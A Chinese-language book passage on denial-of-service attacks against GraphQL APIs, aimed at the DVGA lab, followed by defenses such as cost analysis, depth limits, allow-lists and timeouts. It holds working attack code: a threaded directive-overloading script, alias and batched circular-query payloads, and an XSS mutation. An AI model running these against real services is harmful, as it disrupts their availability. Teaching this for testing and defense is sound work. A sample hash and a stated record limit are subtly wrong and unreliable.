这段代码创建了一个动态的payload变量❶,其中包含两个重复的字段:contenttitle,每个字段重复了 1,000 次。在❷处,它将payloadquery JSON 变量连接起来。然后,它定义了一个名为DoS的函数,负责发送包含我们恶意 GraphQL 查询的 HTTP POST 请求❸。我们运行一个无限的while循环,每两秒执行一次DoS函数,使用 50 个线程❹。完整的漏洞代码可以在 GitHub 上找到,链接为github.com/dolevf/Black-Hat-GraphQL/blob/master/ch05/exploit_threaded_field_dup.py

你可以下载这个漏洞,并使用以下命令在 DVGA 上运行它。请注意,在运行时,你的机器可能会出现性能下降:

# python3 exploit_threaded_field_dup.py http://localhost:5013/graphql

由于该漏洞使用了无限循环,它不会自行停止;你可以通过按下 CTRL-C 发送SIGINT信号来终止它。

别名重载

在第三章中,你学习了如何使用别名重命名重复的字段,以便 GraphQL 服务器将它们视为两个不同的查询。在单个 HTTP 请求中运行多个查询的能力非常强大。安全分析人员在寻找可疑流量时很容易忽视这些单独的请求(WAF 也可能忽视)。毕竟,他们可能会想,一个单一的 HTTP 请求能造成什么 harm 呢?

默认情况下,GraphQL 服务器不会限制单个请求中可以使用的别名数量。GraphQL 应用程序的维护者可以实施自定义保护措施,例如计数别名并在某些中间件中限制它们,但由于别名是 GraphQL 规范的一部分,因此删除对它们的支持或限制其功能并不常见。

利用别名进行拒绝服务攻击

在进行渗透测试时,你可能会遇到处理时间比其他查询长的查询。如果你识别出这样的查询,可以通过反复调用相同的查询来占用系统资源。如果服务器难以快速返回响应,持续用相同查询淹没服务器可能会导致系统超载。

在 DVGA 中,有一个特定的查询比其他查询要慢:systemUpdate。该查询旨在模拟长期运行的命令,例如执行系统更新的命令。未经授权的客户端永远不应被允许执行更改系统状态的查询,但在真实的渗透测试场景中,没有什么是不可能的!让我们在 Altair 中运行 systemUpdate 查询,看看此命令完全处理需要多长时间。它不需要任何参数,如下所示:

**query {**
 **systemUpdate**
**}**

将此查询发送到服务器,并观察服务器返回响应所需的时间(图 5-5)。

图 5-5:systemUpdate 查询响应时间

systemUpdate 查询花费了 50,361 毫秒完成,大约 50 秒,这在今天的 Web 标准下是相当长的时间。这是我们可能利用来进行拒绝服务(DoS)攻击的查询示例。

使用 GraphQL 别名,我们可以尝试多次运行 systemUpdate 以观察服务器的行为。列表 5-7 显示了如何使用别名运行多次 systemUpdate

query {
  one:systemUpdate
  two:systemUpdate
  three:systemUpdate
  four:systemUpdate
  five:systemUpdate
}

列表 5-7:别名化 systemUpdate 查询

在 Altair 中运行此查询应该会比正常情况更长时间完成。

如果你需要生成数百个查询,可以在终端中使用简短的 Python 脚本以编程方式构建查询,如列表 5-8 所示。

# python3 -c 'for i in range(0, 10): print("q"+str(i)+":"+"systemUpdate")'

q0:systemUpdate
q1:systemUpdate
q2:systemUpdate

列表 5-8:使用 Python 生成别名

请记住:默认情况下,客户端提供的别名数量没有限制,除非应用程序维护者已针对这些类型的攻击实施了特定保护措施,或者 Web 服务器设置了 HTTP 请求体长度限制。这意味着我们可以在单个 HTTP 请求中指定数十个别名并占用服务器资源。

在渗透测试中,别名还有其他有趣的非拒绝服务(DoS)用途,例如绕过认证机制。你将在第七章中学习更多相关内容。

链式别名与循环查询

由于别名是 GraphQL 规范的一部分,任何你识别出的其他漏洞都可以与别名结合使用。列表 5-9 中的查询展示了如何使用别名运行循环查询。

query {
  q1:pastes {
    owner {
      pastes {
        owner {
          name
        }
      }
    }
  }
  q2:pastes {
    owner {
      pastes {
        owner {
 name
        }
      }
    }
  }
}

列表 5-9:带有别名的循环查询

这个查询的递归性不足,不足以对 GraphQL 服务器造成任何危害,但它展示了在单个 GraphQL 文档中进行多个循环查询的可能性。

别名的缺点在于它们只允许别名相同根类型的查询。你只能将查询与查询别名,或将突变与突变别名,但不能将查询和突变一起别名。

指令重载

第三章介绍了 GraphQL 指令,它们是通过使用@符号装饰 GraphQL 字段或对象的一种方式。尽管指令是 GraphQL 规范的一部分,但该规范并未讨论应为指令实现的安全控制。通常,GraphQL 实现会检查客户端是否重复了查询指令;如果是,服务器会拒绝该查询。指令的典型检查包括:

  • UniqueDirectivesPerLocation确保每个文档位置(例如字段)中只有唯一的指令。

  • UniqueDirectiveNames确保如果在像字段这样的某个位置提供了多个指令,则这些指令具有唯一的名称。

然而,可以多次提供不存在的查询。在今天大多数流行的 GraphQL 实现中,客户端提供的不存在的指令数量实际上没有限制。

我们的研究表明,通过在单个查询中传递大量不存在的指令,可能会耗尽 GraphQL 服务器的查询解析器。在我们对这个指令重载漏洞的负责任披露过程中,我们与多位 GraphQL 开发者进行了交流。关于是由维护者还是消费者来解决该漏洞,意见有很大分歧。参与披露过程并选择解决此问题的公司,通过限制服务器接受的指令数量或根据 HTTP 请求体的大小阻止查询来解决此问题。

滥用指令进行拒绝服务攻击

指令重载漏洞有点类似于字段重复,它需要我们通过多个连续请求发送许多指令。尽管比循环查询等漏洞需要更多的计算能力,但我们发现它在降低服务器性能方面非常有效。

攻击非常简单:将指令塞入查询的多个部分并发送到服务器,如列表 5-10 所示。

query {
   pastes {
      title @aa@aa@aa@aa # add as many directives as possible
      content @aa@aa@aa@aa
   }
}

列表 5-10:指令重载的示例

对服务器的影响可能会根据其硬件规格有所不同。我们在使用此利用技术时见过不同的服务器行为,例如 GraphQL 服务器崩溃(由于数据库内存错误)或服务性能下降。

测试指令重载

本书 GitHub 仓库中的攻击代码 github.com/dolevf/Black-Hat-GraphQL/blob/master/ch05/exploit_directive_overloading.py 利用这种漏洞,并可以用来对 DVGA 执行指令重载攻击。

在运行此脚本的任何时刻,你都可以按下 CTRL-C 来终止其操作,发送 SIGINT 信号。请注意,当脚本运行时,DVGA 可能会变得缓慢或无响应。

以下命令在命令行中运行攻击:

# python3 exploit_directive_overloading.py http://localhost:5013/graphql 30000

列表 5-11 显示了主要的攻击代码。

URL = sys.argv[1]
FORCE_MULTIPLIER = int(sys.argv[2])

def start_attack():
  payload = '@dos' * FORCE_MULTIPLIER
  query = {'query': 'query  { __typename ' + payload + ' }'}
  try:
    r = requests.post(URL, json=query, verify=False)
    print('\t HTTP Response', r.text)
    print('\t HTTP Code: '  , str(r.status_code))
  except:
    pass

threads = []

while True:
  time.sleep(2)
  start = time.time()
  start_attack()
  print(f'Time request took: {time.time() - start}')

  for i in range(300):
 t = threading.Thread(target=start_attack)
    threads.append(t)
    t.start()

  for t in threads:
    t.join()

列表 5-11:利用指令重载漏洞的攻击代码

攻击代码从命令行接收两个参数,一个用于识别目标 API,另一个用于指定在攻击过程中将塞入查询中的指令数量。作为 start_attack 函数的一部分,我们将 dos 指令乘以提供的指令数量。然后,我们构建一个 GraphQL 查询,使用恶意载荷,并创建 300 个线程,每个线程并行运行 start_attack 函数。通过使用无限的 while 循环,这会使服务器资源在攻击运行期间保持忙碌。

对象限制覆盖

GraphQL 服务器可以默认实现对返回给客户端的数据量的限制。这对于返回数组的字段尤为重要。例如,回想一下,在 DVGA 中,pastes 查询返回一个粘贴对象数组:

type Query {
  pastes: [PasteObject]!
}

感叹号表示 pastes 是不可为空的,因此数组必须包含零个或多个项目。除非查询被显式限制,否则 GraphQL 会返回所有 pastes 对象。如果数据库中有 10,000 个对象,例如,GraphQL 可能会返回所有 10,000 个对象。

返回包含 10,000 个对象的响应对于服务器(和客户端)来说是大量数据。服务器可以实现逻辑来限制返回对象的数量,限制为更少的数量,比如 100。例如,服务器可能会按创建时间对对象进行排序,并只返回最新的粘贴。这种过滤可以在数据库层、GraphQL 层,或两者同时进行。

一些 GraphQL 应用可能允许客户端通过传递特殊参数(如 limit)来覆盖服务器端的对象限制,正如这个例子所示。继续在 Altair 中运行这个查询:

query {
   pastes(limit:100000, public: true) {
     content
   }
}

执行这个查询时,GraphQL 可能会在后台将其转换为 SQL 查询,如下所示:

SELECT content FROM pastes WHERE public = true LIMIT 100000

在像 DVGA 这样的规模较小的数据库中,这不会造成太大损害。然而,在非常大的数据库中,控制服务器返回的行数可能会非常强大,并且可能让我们执行数据库级别的 DoS 攻击。

如果启用了自省(introspection),GraphQL 将在你输入时自动完成参数,使你可以轻松发现查询所支持的参数。如果自省被禁用,可以尝试常见的关键字,如limitoffsetfirstafterlastmaxtotal。这些关键字通常与API 分页相关,这是控制 HTTP 响应中返回数据量的一种方法。分页将大型数据集划分为更小的部分,从而使客户端能够按块请求和接收数据。

测试服务器允许客户端请求多少对象是值得的。能够从服务器请求任意数量的记录可能会成为应用程序中的另一个拒绝服务(DoS)向量。

基于数组的查询批量处理

现在我们将探索一个功能,它非常方便地让我们扩大到目前为止你所学到的攻击。查询批量处理是将多个查询分组并并行发送到 GraphQL API 的任何方法。别名就是查询批量处理的一种形式。

尽管别名很有用,但它们有一个明显的缺点,因为它们只能批量处理相同操作根类型的查询。例如,你不能将变更(mutation)和查询(query)一起使用别名。基于数组的批量处理技术使我们可以混合查询和变更。然而,数组并不是规范的一部分,因此在所有渗透测试中可能无法使用。

理解基于数组的查询批量处理是如何工作的

基于数组的查询批量处理是一种功能,允许客户端将多个任何根类型的 GraphQL 查询以数组的形式作为 JSON 负载的一部分发送。假设我们想多次发送一个查询并多次收到相同的响应。使用基于数组的查询批量处理,我们可以通过基本上复制这个查询并将副本作为元素添加到数组中,轻松做到这一点。以下是一个伪查询示例:

[
  query {
   ipAddr
   title
   content
  }
  query {
   ipAddr
   title
 content
  }
]

当 GraphQL 从客户端接收到一组查询时,它会按顺序处理这些查询,并且在最后一个数组元素处理并解决之前不会返回响应。一旦所有查询解决,它将返回一个响应,其中包含所有查询响应的数组,并以单个 HTTP 响应返回。

你可能此刻就已经产生了黑客直觉,因为这里存在明显的风险。假设客户端将发送一个合理数量的查询在数组中。但是,如果客户端在一个数组中发送了成千上万的查询会发生什么呢?让我们来看看。剧透:会发生不好的事情。

与别名类似,识别基于数组的批量查询滥用可能很困难,因为安全分析员在日志中看到的只是一个单独的 HTTP 请求。这可能不会立刻显现为恶意模式。因此,这种技术可能会绕过传统的速率限制控制,这些控制可能会限制客户端每秒(RPS)或每分钟(RPM)的请求数。

在本章的最后,我们将讨论应用程序可以实施的一些潜在缓解措施,以应对批量查询。

测试基于数组的批量查询

像 Altair、GraphQL Playground 和 GraphiQL Explorer 这样的 GraphQL IDE 不支持从界面直接进行基于数组的查询。因此,为了测试 DVGA 是否启用了基于数组的批量查询,我们需要使用 HTTP 客户端,如 cURL,或者使用脚本语言,如 Python。在我们的实验中,我们将展示如何使用这两种方法。

使用 cURL

列表 5-12 中的命令使用 cURL 发送一个查询数组。

# curl http://localhost:5013/graphql -H "Content-Type: application/json"
**-d '[{"query":"query {systemHealth}"},{"query":"query {systemHealth}"}]'**

[
  {"data":{"systemHealth":"System Load: 0.03  \n"}},
  {"data":{"systemHealth":"System Load: 0.03  \n"}}
]

列表 5-12:使用 cURL 的基于数组的批量查询

在这个 cURL 命令中,我们使用 -d 标志向服务器发送一个包含 GraphQL 查询的数组。这个数组使用方括号 [] 定义,包含两个相似的 GraphQL 查询。在每个查询中,我们使用 systemHealth 对象。GraphQL 服务器会返回两个单独的响应。

如果 GraphQL 服务器支持基于数组的批量查询,发送一个包含两个 GraphQL 查询的数组将返回相同数量的查询响应。你可以通过响应中的 data JSON 字段判断是否是这种情况。当使用 -d 标志时,cURL 在后台使用 HTTP POST 方法。

使用 Python

可以使用 Python 执行相同的查询,如 列表 5-13 所示。

import requests

queries = [
  {"query":"query {systemHealth}"},
  {"query":"query {systemHealth}"}
]

r = requests.post('http://localhost:5013/graphql', json=queries)

print(r.json())

列表 5-13:使用 Python 的基于数组的批量查询

我们声明一个包含两个 systemHealth 查询的 queries 数组。然后,我们将它们批量发送到 DVGA,并打印响应。这应返回一个包含两个元素的数组,每个元素都是对单个查询的响应。你可以在 GitHub 仓库中的 github.com/dolevf/Black-Hat-GraphQL/blob/master/ch05/array_based_batch_query.py 找到这段代码。

将文件保存到桌面并运行以下命令:

# cd ~/Desktop
# python3 array_based_batch_query.py

[
   {'data': {'systemHealth': 'System Load: 1.49\n'}},
   {'data': {'systemHealth': 'System Load: 1.49\n'}}
]

不支持基于数组批量查询的 GraphQL 服务器可能会抛出 HTML 错误,因为它们没有实现处理数组有效负载的逻辑。支持数组但已禁用它们的服务器可能会返回如下错误:

{'errors': [{'message': 'Batch GraphQL requests are not enabled.'}]}

接下来,我们将探讨如何通过结合循环查询和基于数组的批量查询来执行 DoS 攻击。

链接循环查询和基于数组的批量查询

使用带有基于数组的批量查询的循环查询可能会对 GraphQL 服务器造成严重影响,甚至可能使其瘫痪。考虑 列表 5-14 中的循环查询。

query {
  pastes {      # level 1
    owner {     # level 2
      pastes {  # level 3
        owner { # level 4
          name  # level 5
        }
      }
    }
  }
}

列表 5-14:一个循环查询

这个递归查询的深度为五。单独来看,它可能不足以摧毁目标服务器,但我们可以修改它,使其深度更大。每一层都会创建一个额外的节点,服务器需要处理和解析这些节点,从而消耗更多的服务器资源。

为了实验循环查询,我们为你的黑客工具库编写了一个自定义的漏洞利用脚本。这个漏洞利用脚本可以通过让你指定应执行的循环次数来动态地扩展其循环性。该查询还能够使用数组批量执行查询。以下代码片段来自github.com/dolevf/Black-Hat-GraphQL/blob/master/ch05/array_based_circular_queries.py

ARRAY_LENGTH = 5
FIELD_REPEAT = 10

query = {"query":"query {"}
field_1_name = 'pastes'
field_2_name = 'owner'

count = 0
for _ in range(FIELD_REPEAT):
    count += 1
    closing_braces = '} ' * FIELD_REPEAT * 2  + '}'
    payload = "{0} {{ {1} {{ ".format(field_1_name, field_2_name)
    query["query"] += payload

    if count == FIELD_REPEAT:
      query["query"] += '__typename' + closing_braces
`--snip--`
queries = []
for _ in range(ARRAY_LENGTH):
  queries.append(query)

r = requests.post('http://localhost:5013/graphql', json=queries)

print(r.json())

这段代码基于列表 5-14 中的查询,动态生成循环查询并根据两个主要的脚本输入值:ARRAY_LENGTHFIELD_REPEAT,将其添加到数组中。ARRAY_LENGTH表示要组合在一起的查询数。值为5意味着数组将包含五个查询。FIELD_REPEAT表示脚本将循环添加多少次字段(pastesowner)到查询中。

然后,脚本使用for循环根据FIELD_REPEAT的值构建查询,并将其赋值给query变量。我们初始化一个空数组queries,并运行另一个for循环,将我们构建的查询添加到queries数组中。简单来说,我们构建一个循环查询,将其添加到数组中,并根据预定义的值发送给目标。

我们鼓励你在实验室中运行这个脚本,看看它是如何工作的!将脚本下载到你的实验室环境中,并在运行前设置可执行权限(+x):

# python3 array_based_circular_queries.py

Query: query {pastes { owner { `...` } } }
Query Repeated: 10 times
Query Depth: 21 levels
Array Length: 5 elements

该脚本将输出查询及其相关信息,例如字段重复的次数、查询的深度级别以及发送到服务器的数组长度。你可以修改FIELD_REPEATARRAY_LENGTH,观察通过动态增长查询和数组对服务器响应速度的影响。

这里没有什么神奇的数字;你需要逐步增加字段的数量,直到目标服务器变得明显更慢。根据我们的实验室实验,将FIELD_REPEAT设置为至少500应该会导致 DVGA 崩溃,并出现段错误。在这种情况下,按照第二章的实验室设置指南重新启动它。

使用 BatchQL 检测查询批量处理

某些 GraphQL 工具尝试检测目标 GraphQL 服务器是否支持批量查询。例如,BatchQL 是一个小型 Python 工具,它扫描 GraphQL 的弱点。通过发送预检请求并观察服务器返回的错误,它能够检测基于别名的批量处理和基于数组的批量处理。以下代码展示了它用来检测基于数组的批量处理的逻辑:

repeated_query_list = "query { assetnote: Query { hacktheplanet } }"
repeated_query_dict = [{"query": repeated_query_list}, {"query":  repeated_query_list}]
repeated_query_success = False
try:
  r = requests.post(args.endpoint, headers=header_dict,
      json=repeated_query_dict, proxies=proxies, verify=False)
  error_count = len(r.json())
  `--snip--`
  if error_count > 1:
    print("Query JSON list based batching: GraphQL batching is possible...
          preflight request was successful.")

在这个示例中,BatchQL 通过使用字段hacktheplanet来创建一个 GraphQL 查询。然后,它创建一个包含两个查询副本的数组。BatchQL 将该数组发送到目标服务器,并计算响应中返回的错误数量。如果错误数量大于一,说明服务器处理了两个查询。

它查看返回错误的数量的原因是查询包含字段hacktheplanet,这个字段很可能在任何真实的目标上都不存在。因此,GraphQL 会对每个无法处理的查询返回错误。BatchQL 对其别名批处理的检测也使用相同的错误计数逻辑。

现在让我们尝试在 DVGA 上运行 BatchQL,看看我们会得到什么样的输出。使用-e标志来指定 GraphQL 端点:

# cd BatchQL
# python3 batch.py -e http://localhost:5013/graphql

CSRF GET based successful. Please confirm that this is a valid issue.
CSRF POST based successful. Please confirm that this is a valid issue.
Query name based batching: GraphQL batching is possible... preflight request was successful.
Query JSON list based batching: GraphQL batching is possible...preflight request was successful.

BatchQL 能够检测到基于数组的批处理和基于别名的批处理都可用。

使用 GraphQL Cop 执行 DoS 审计

GraphQL Cop 是一个基于 Python 的安全审计工具,能够发现 GraphQL 应用中的 DoS 和信息泄露弱点。它可以识别本章涵盖的大多数 DoS 类别。让我们将这个工具应用于 DVGA,看看我们能在不费力气的情况下快速发现哪些漏洞。

GraphQL Cop 需要非常少的参数来完成其工作。要执行审计,请使用以下命令运行它:

# cd ~/graphql-cop
# python3 graphql-cop.py -t http://localhost:5013/graphql

                    GraphQL Cop
           Security Auditor for GraphQL
             Dolev Farhi & Nick Aleks

[HIGH] Alias Overloading - Alias Overloading with 100+ aliases is allowed (Denial of Service)
[HIGH] Batch Queries - Batch queries allowed with 10+ simultaneous queries (Denial of Service)
[HIGH] Field Duplication - Queries are allowed with 500 of the same repeated field
       (Denial of Service)
[HIGH] Directive Overloading - Multiple duplicated directives allowed in a query
       (Denial of Service)

如你所见,我们得到了包含每个漏洞描述及其预定义严重性的输出。该工具能够识别 DVGA 中的四个 DoS 向量。如果在渗透测试中需要通过编程方式解析这些信息,你可能需要更适合脚本化的输出。为此,请使用-o json标志。

GraphQL 中的拒绝服务防御

我们已经探索了执行 DoS 攻击针对 GraphQL 目标的各种技术。虽然大多数 GraphQL 实现默认不包含全面的 DoS 缓解(有一些例外),但我们讨论的这些攻击是可以防御的。

查询成本分析

复杂的查询对服务器的处理成本较高,特别是当许多查询同时发送时。在执行渗透测试时,可能会遇到一个实现了成本分析器的 GraphQL 服务器。这个术语指的是任何根据处理成本(例如 CPU、输入/输出(I/O)、内存和网络资源消耗)为 GraphQL 字段分配数值的系统。

查询成本分析可以通过多种方式实现,例如使用静态分析在执行前评估查询结构,或在查询完全解析后观察查询响应。

静态地为查询分配成本

更常见的成本分析形式是静态分析。例如,考虑以下查询:

query {
  pastes {
    title
    content
    userAgent
    ipAddr
    owner {
      name
    }
  }
}

我们使用pastes顶级字段并指定一些字段,如titlecontentowner

使用静态分析时,可以通过不同的方式为查询分配成本。一种常见的方法是使用专用的模式指令来为每个字段或每种对象类型指定值。以下示例模式展示了如何通过使用模式指令来实现成本分配:

directive @cost(
  complexity: Int = 1
) on FIELD_DEFINITION | OBJECT

type PasteObject {
  title: String @cost(complexity: 1)
  content: String @cost(complexity: 1)
  userAgent: String @cost(complexity: 5)
  ipAddr: String @cost(complexity: 5)
}

这里,一个特殊的cost指令接受一个complexity参数,而complexity参数接受一个整数值。如果没有为complexity参数提供值,它默认是1。在模式中,PasteObject中的字段根据其解析时的资源消耗情况分配了某些成本值。(可以想象,一个字段需要服务器执行上游检查以访问多个第三方服务,而另一个字段则可以通过直接读取本地数据库来解析。)

基于这个模式定义,我们可以像下面这样在查询中添加指令:

query {
  pastes {
    title     # cost: 1
    content   # cost: 1
    userAgent # cost: 5
    ipAddr    # cost: 5
  }
}

这个查询的总成本是12。知道总成本可以让 GraphQL 服务器决定是否接受查询,或者因为成本过高而拒绝查询。

许多静态成本分配库不会将成本信息持久化到数据库或缓存中。因此,实际上,每个查询都需要单独评估。为了说明未能追踪成本使用的风险,请参阅图 5-6 中的示意图。

图 5-6:无状态成本分析的风险

在这里,GraphQL 服务器已将最大允许成本(MAX_COST)设置为200。在这个例子中,成本为 200 或以下的查询会被接受,这意味着如果客户端发送多个并行查询,每个查询的成本都为 200,那么所有查询都会被接受。如果应用程序的后端无法或没有准备好处理如此高成本的并行查询,这可能会带来风险。想象一下,攻击者使用最大允许的成本发送成千上万的请求;如果限制过于宽松,这可能会导致应用程序崩溃。

动态分配成本给服务器响应

成本分析也可以在查询完全解析后的服务器响应上执行。服务器必须首先处理查询,才能了解其成本。然而,查看实际解析后的查询可以提供比静态方法更准确的成本估算。

动态方法相对于静态方法的优势在于,动态成本分配考虑了服务器返回的响应复杂度。想象一下,一个客户端请求一个字段,而服务器返回一个包含 1,000 个元素的数组。在这种情况下,响应所指示的复杂度是仅通过查询本身无法推断出来的。

使用基于积分的速率限制

GraphQL 服务器可以设计为在客户端会话期间跟踪查询的成本。跟踪这些信息允许服务器设置每小时或每日的配额限制,并在超过某个限制后拒绝查询,作为基于积分的系统的一部分。例如,服务器可以为每个用户会话或每个来源 IP 地址设置每小时积分配额(如 1,000)。如果一个查询的静态成本是 200,那么客户端每小时最多可以发起五个这样的查询。若要重新查询,他们必须等到积分配额更新。

然而,为了使此机制生效,服务器必须在数据库中跟踪并存储客户端的 API 使用数据。否则,基于成本的查询限制将必须是无状态的,这在 GraphQL API 中很常见。

在响应中发现查询的成本

正如你所学到的,有几种方法可以在 GraphQL API 中实现成本分析控制。在某些实现中,你可能会在查询的响应中看到与成本相关的元数据。考虑以下 GraphQL 响应示例,它使用 extensions 响应字段向客户端提供与成本相关的信息:

{
  "data": {
`--snip--`
  },
  "extensions": {
    "cost": {
      "credits_total": 1000,
 "credits_remaining": 990,
    }
  }
}

extensions 字段用于向客户端返回一些元数据。这些元数据通常与查询追踪、查询成本计算或其他调试信息相关。在此示例中,credits_total 是可用积分的总数,credits_remaining 是当前剩余的积分数量。

你可能会问,为什么 GraphQL 服务器首先会与客户端共享这些信息。客户端可以利用这些信息判断何时查询可能会被服务器限流并可能失败。这有助于客户端构建更好的错误处理逻辑。

当然,成本信息的可用性对于黑客也是有价值的。如果我们有办法知道什么时候我们的查询会被服务器接受(例如每小时积分的情况),那么我们就能判断何时在积分重新可用时发起新攻击,而不是反复发送将被阻止的请求。

查询深度限制

本章早些时候,我们讨论了循环查询以及 GraphQL 中的递归查询如何使服务器资源枯竭。为了保护 GraphQL 服务器免受递归查询的影响,应用程序可以设置查询深度限制。例如,将 max_depth 配置设置为 10 的值将允许最多 10 层深度。任何超出允许深度的查询都会被拒绝。

一些更成熟的 GraphQL 实现支持开箱即用的深度分析,或者通过利用专门为此目的编写的外部库。让我们来看一下如何在 graphql-ruby(Ruby)和 Graphene(Python)中实现查询深度限制。

在 graphql-ruby 中,可以在 MySchema 类中设置最大深度限制:

class MySchema < GraphQL::Schema
 `--snip--`
  **max_depth 10**
end

在 Graphene 中,可以通过以下方式设置最大深度限制:

schema = Schema(query=MyQuery)

validation_errors = validate(
    schema=schema.graphql_schema,
    document_ast=parse('THE QUERY'),
    rules=(
        **depth_limit_validator(**
 **max_depth=20**
 **),**
    )
)

深度通常是按查询计算的。如果攻击者同时发送多个递归查询,这仍然可能对服务器造成严重影响。

别名和基于数组的批处理限制

由于 GraphQL 别名是 GraphQL 规范的一部分,开发人员不能轻易禁用它们。防止别名被滥用需要自定义中间件代码来解析传入的查询,计算指定的别名数量,并在数量达到足够高的程度时拒绝请求,因为这可能会导致处理时的危险。要使 GraphQL 应用程序中存在这种控制,开发人员首先需要意识到别名可能带来的安全隐患。

与别名不同,基于数组的批处理不是规范文档的一部分。它通常需要安装额外的软件包或在代码中启用该功能。让我们看看在 Graphene 中禁用基于数组的批处理是什么样的:

app.add_url_rule('/graphql', view_func=GraphQLView.as_view(
  'graphql',
  schema=schema,
 `--snip--`
  **batch=True**
))

batch 参数接受布尔值 TrueFalse。如果将其切换为 False,Graphene 将拒绝处理任何数组。这是 GraphQL 服务器实现本身支持禁用批处理的一个例子,无需自定义代码。

在渗透测试中,使用诸如 Graphw00f 之类的 GraphQL 指纹识别工具来识别目标服务器的实现。然后,你可以使用我们整理的 GraphQL 威胁矩阵项目 来识别是否有像基于数组的批处理等功能。如果存在,了解它们是否可以禁用。这些见解在渗透测试报告中作为修复部分记录将非常有用。

字段重复限制

默认情况下,GraphQL 会解析查询中指定的任何字段,即使它被多次指定。尽管如此,我们可以通过多种方式来减轻字段重复攻击的风险。

虽然它没有直接解决字段重复问题,但查询成本分析可以保护 GraphQL 应用程序,在单个查询中指定大量字段时(无论它们是否重复)。成本分析是防范任何涉及在单个查询中指定许多字段的攻击的有效措施。

另一种保护形式是使用中间件安全分析器来检查传入的查询,并在有字段重复出现多次时采取措施。应用程序可能会选择实施多种操作,例如完全拒绝查询或通过合并重复字段来规范化查询,从而消除重复。这基本上是将原始查询重构为更安全的版本。目前,GraphQL 中没有任何功能执行此操作。应用程序开发人员需要自行开发中间件,或使用第三方安全工具来代替。

应用程序防御字段重复的另一种方法是计算查询的字段“高度”。请参考图 5-7 中的查询。

图 5-7:一个示例 GraphQL 查询的高度

此查询请求owner字段,然后是owner字段的id(一次)和name(四次)。如您所见,总高度为 5。应用程序可能会限制任何超过某个允许高度的查询。请记住,默认情况下,GraphQL 并未实现这种类型的控制。

返回记录数量的限制

当客户端请求数组字段时,GraphQL 服务器可以限制它们返回的对象数量。为此,它们可以在服务器端设置最大返回项数,并防止客户端覆盖该设置。以下是如何在 Graphene 中实现这一点的示例:

def resolve_pastes(self, info, public=False):
    query = PasteObject.get_query(info)
    return query.filter_by(public=public, burn=False).order_by(Paste.id.desc())**.limit(100)**

这个示例解析器函数是用于pastes查询的。该限制确保无论数据库中存在多少个 paste,返回的最大 paste 数量为 1,000。

另一种限制响应中返回记录数量的方法是引入 API 分页,它控制客户端在单个请求中可以检索的记录数。

查询允许列表

应用程序可能实施的另一种防御技术是允许列表方法。允许列表的概念很简单:你定义应用程序可以接受的 GraphQL 查询,并拒绝任何不在列表中的查询。你可以将其视为一个可信查询的安全列表。

允许列表方法通常比使用拒绝列表更安全,因为拒绝列表更容易出错。恶意负载可以通过多种方式构造,如果在构建拒绝列表时未考虑到所有这些变化,攻击者可能会找到绕过它的方式。

查询允许列表在 GraphQL 服务器实现中通常不存在,也很少有外部库实现此功能。为了利用此功能,GraphQL 应用开发人员必须寻找与其实现兼容的库,或从头开始创建一个。

自动持久化查询

查询允许列表通常与一种名为自动持久化查询APQ)的缓存机制一起使用,用于提升 GraphQL 查询的性能。GraphQL 服务器通过实现 APQ,可以接受代表这些查询的哈希值,而不是使用正常的 GraphQL 查询结构。

在 GraphQL 客户端和服务器的 APQ 交互中,客户端首先尝试发送查询的哈希值(例如 SHA-256 哈希)。服务器在其缓存中执行哈希查找。如果哈希值不存在,服务器会返回错误。然后客户端可以跟进另一个请求,其中包含原始 GraphQL 查询及其哈希值,该查询会被存储在服务器数据库中。客户端可以在任何后续请求中使用该哈希值,而无需提供完整的查询。哈希值可能如下所示:

{
   "persisted_query": {
      "sha256Hash": "5e734424cfdde58851234791dea3811caf8e8b389cc3aw7035044ce91679757bc8"
   }
 }

要生成任何查询的 SHA-256 哈希值,您可以使用sha256sum命令,如下所示:

# echo -n "{query{pastes{owner{id}}}}" | sha256sum

5e734424cfdde58851234791dea3811caf8e8b389cc3aw7035044ce91679757bc8

这里的优势在于,哈希算法生成固定长度的值(例如,SHA-256 哈希长度为 64 个字符),无论查询有多大。这消除了客户端通过网络发送包含大查询的 HTTP 请求的需求,从而减少了总带宽消耗。图 5-8 说明了具有 APQ 的 GraphQL 部署的可能外观。

图 5-8:APQ 架构

您可能已经注意到一个弱点。如果客户端是攻击者并强制服务器缓存恶意查询,会怎么样?攻击者能否在随后的查询中使用它?这是一个很好的问题,并且为什么像 APQ 这样的机制应该与白名单函数一起存在。服务器应该在将恶意查询缓存之前拒绝它们,以便只有受信任的查询可以插入缓存中。

APQ 首先设计为缓存机制,但它也可以作为安全控制来保护 GraphQL 服务器免受接受恶意查询的影响。尽管 APQ 尚未被广泛使用,但它受到市场上一些成熟 GraphQL 实现的支持,例如 Apollo GraphQL。您可以参考 GraphQL 威胁矩阵项目,了解哪些实现支持 APQ。

超时

超时 是另一种防止长时间运行和消耗资源的任务的保护形式。当 GraphQL 服务器遭受大量查询时,可能需要几分钟才能完全满足请求。为了减轻这些情况,服务器可以引入应用程序超时,定义请求完成所需的时间。

一些 GraphQL 实现,如 graphql-ruby,允许通过以下方式设置查询执行超时:

class MySchema < GraphQL::Schema
  use GraphQL::Schema::**Timeout, max_seconds: 20**
end

然而,并非所有 GraphQL 实现都支持通过此方式设置查询超时。这些 GraphQL 应用程序可以在 Web 服务器层使用超时,如 Nginx 或 Apache,它们支持设置超时。

设置正确的应用程序超时间隔往往是一个棘手的任务;过短的超时配置可能意味着丢弃合法的客户端请求并影响客户端的用户体验,这就是为什么应用程序通常默认设置较高的超时值。Nginx 和 Apache 都将其请求超时值设置在大约 60 秒左右。

超时可以是有效的,但它们不应是 GraphQL 应用程序实施的唯一缓解策略。

Web 应用程序防火墙

Web 应用程序防火墙(WAFs) 对于阻止恶意流量在其到达应用程序之前非常有用。它们允许安全团队通过创建基于各种模式(如 HTTP 负载、URL 或客户端地理位置)的签名和规则来快速响应攻击和漏洞。

WAF 在生产环境中经过多年的战斗测试,保护着 Web 应用和 API(如 REST 和 SOAP),覆盖了许多行业。然而,商业和开源的 WAF 仍在适应 GraphQL 的工作方式,以及攻击者可能如何利用 GraphQL 从事恶意活动,因此 WAF 在保护 GraphQL 应用方面仍存在一些空白。

尽管一些 WAF(Web 应用防火墙)并不“支持 GraphQL”,但它们检查流量的方式仍然可以检测到许多恶意有效载荷。即使恶意载荷嵌入在 GraphQL 查询或突变中,它们仍然能够阻止可疑的有效载荷,如 SQL 注入、操作系统注入、跨站脚本攻击(XSS)等。

请看以下在 GraphQL 查询中的 XSS 示例:

mutation {
  changeName(name:"<script>alert(1)</script>") {
      name
  }
}

